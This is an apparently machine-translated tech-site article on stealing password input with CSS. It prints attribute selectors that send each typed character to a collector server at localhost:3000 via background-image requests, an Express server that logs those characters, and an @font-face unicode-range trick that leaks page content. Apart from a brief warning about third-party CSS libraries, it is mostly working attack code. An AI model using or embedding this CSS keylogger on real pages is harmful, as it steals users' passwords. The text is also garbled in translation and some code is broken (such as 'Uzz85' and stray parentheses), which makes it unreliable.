Shulou(Shulou.com)05/31 Report--

Most people do not understand the knowledge points of this article "CSS how to record user passwords", so the editor summarizes the following contents, detailed contents, clear steps, and has a certain reference value. I hope you can get something after reading this article. Let's take a look at this "CSS how to record user passwords" article.

Simple CSS code does not even conform to Turing's complete language, but it can also be a tool for some attackers. Here is a brief description of how to use CSS to record a user's password. However, these CSS scripts will appear in third-party CSS libraries, so you need to be careful when using third-party CSS libraries to ensure code security. Go directly to code parsing:

Input [type= "password"] [value$= "0"] {background-image: url ("http://localhost:3000/0");} input [type=" password "] [value$=" 1 "] {background-image: url (" http://localhost:3000/1");} input [type= "password"] [value$= "2"] {background-image: url ("http://localhost:3000/2");})

This is part of the code. Let's parse the CSS code.

Input [type= "password"] is a css selector that selects a password input box, and [value$= "0] indicates that the matching input value ends with 0. So:

Input [type= "password"] [value$= "0"] {background-image: url ("http://localhost:3000/0");})

The above code means that if you enter 0 in the password box, request the http://localhost:3000/0 interface, but the browser by default will not store the values entered by the user in the value property, but some frameworks will synchronize these values, such as React.

So as long as the script shown below can be used to store the user's input data.

Let's take another look at the server-side code:

Const express = require ("express"); const app = express (); app.get ("/: key", (req, res) = > {process.stdout.write (req.params.key); return res.sendStatus (400);}); app.listen (3000, () = > console.log ("start, listen on port 3000")

Use express to create a server and listen to port 3000. As long as you request http://localhost:3000/:key, you can output the value of key and record the input value on the server. So as long as each input value matches, and then request a prepared interface through background-image, you can record the user's input. A similar method records the CSS code @ font-face {of the user's content

Font-family: blah; src: url ('http://localhost:3000/a') format (' woff'); unicode-range: Uzz85;} html {font-family: blah, sans-serif;}

The simple font library of css you use will request http://localhost:3000/an as long as your page contains a, so you will know that your page contains a character.

The above is about the content of this article on "how to record user passwords in CSS". I believe we all have a certain understanding. I hope the content shared by the editor will be helpful to you. If you want to know more related knowledge, please pay attention to the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.